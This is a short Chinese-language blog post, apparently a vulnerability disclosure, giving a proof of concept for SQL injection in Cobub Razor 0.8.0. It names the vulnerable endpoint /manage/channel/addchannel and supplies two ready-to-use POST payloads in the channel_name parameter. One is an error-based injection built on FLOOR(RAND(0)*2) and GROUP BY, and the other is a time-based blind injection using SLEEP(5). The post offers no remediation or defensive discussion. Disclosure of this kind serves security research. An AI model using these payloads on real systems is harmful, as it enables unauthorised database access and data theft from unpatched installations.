Cobub_Razor_0.8.0_SQL注入漏洞

棉花糖

2021年7月15日发布

060

# Cobub Razor 0.8.0 SQL注入漏洞
==POC==

http://localhost/index.php?/manage/channel/addchannel

POST data:

1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1

2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1

文章版权归作者所有，未经允许请勿转载。

THE END